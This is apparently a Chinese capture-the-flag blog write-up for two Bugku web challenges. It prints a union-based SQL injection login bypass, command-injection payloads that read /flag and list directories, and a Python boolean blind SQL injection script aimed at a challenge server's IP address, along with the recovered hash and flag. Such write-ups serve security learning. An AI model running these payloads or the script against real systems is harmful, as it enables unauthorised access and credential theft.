bugku4

web37

先扫下后台,看有没有其他东西,发现没有,再登录窗口尝试手工注入也没有结果,再找找有没有其他提示吧:
img
收到的报文中有一个,把他拿去base64解码

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

从上面这里看来,闭合的手段是."':img

根据下面的提示是password强==md5编码的password
===说明类型数值都要一样,那么如果让其相等呢,去查了一下,发现其实可以使用union联合语句
payload:

1
1."'union select 1,'e10adc3949ba59abbe56e057f20f883e'#

这里解释一下为什么,首先为什么说是知道字段数为2?——猜的一个个去试
然后这样写的原理是什么:
union select 1,’e…’被执行后的值为
img
那个row我是从数据库检索以后的结果,当执行了这个union select语句,row的值就会被赋予检索的password的值,然后此时就和我们输入的password的MD5的值是一致的了
img
进入到这个页面,联想到之前的命令执行,但是尝试了好多种都没返回有用的信息?是什么鬼

然后就去百度了,发现这里需要用时间盲注,因为输入1;sleep 5 页面是有延缓回显的,那么问题来了,接下来要干啥了,然后就去看了一下wp,发现,是要监听端口然后反弹shell的,这里就很无语了,因为监听了好久都没有反弹,用公网也不行,so就再去查了一下wp,发现是要写入文件然后查看。。。。。。。。
我吐了,这里写一下payload吧:

1
123|ls../../../>text

上面是遍历目录,并将信息输出到textimg

1
123|cat /flag>test

将flag的信息输出到test中
img

web38

这一关是布尔盲注,根据我们的输入信息,有illegal character 、password wrong 、username don’t exit这几种情况,所以这里我们先用burpsuit 跑一下看哪些字符被过滤了发现 = 被过滤了 还有其他
img
但是盲注的所需要的命令倒是没怎么被过滤,但是最重要的=没了,要怎么办呢?,这个时候看到下面有人提示说用<>来代替,去查了一下:
img

接下来构造注入语句

想起来之前刚学的使用减号进行连接并以此判断该值是否为真的方法,并且减号也没有被过滤
admin’-0-‘是password wrong
admin’-1-‘是username wrong

这里有个mid函数是可以用的,所以我们直接用前几天刚写的试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
url="http://114.67.246.176:10460/index.php"
s=requests.session()
headers={"Cookie": "PHPSESSID=34kfhvoilevqk4p779t36qc2j5"}
password = ""
for i in range(1,33):
for j in '0123456789abcdef':
payload =f"admin'-(mid((password)from(-{i}))<>'{j}{password}')-'"
#这里的<>看到解释是不等为ture 布尔值为1,那么相等就是false,布尔值为0,所以和之前的脚本相比,只要吧下面的判断改一下就行了
print(payload)
data = {'username': payload,'password': 'sky'}
# print(s.post(url,data=data).text)
if 'password error!' in s.post(url=url,data=data,headers=headers).text:
#print(s.post(url,data=data).text)
strA = password
password = strA[::-1]
print(password)#可不用,是用来调试的
password += j
strA = password
password = strA[::-1]
print(password)
break

好的跑出来了
4dcc88f8f1bc05e7c2ad1a60288481a2

像是MD5,去解码一下,得到以下密码
bugkuctf登录以后:flag{75ef5a74fee872de4e775bbbf2f01d22}就成功拿到flag 了

Author

vague huang

Posted on

2021-02-03

Updated on

2021-02-05

Licensed under

Comments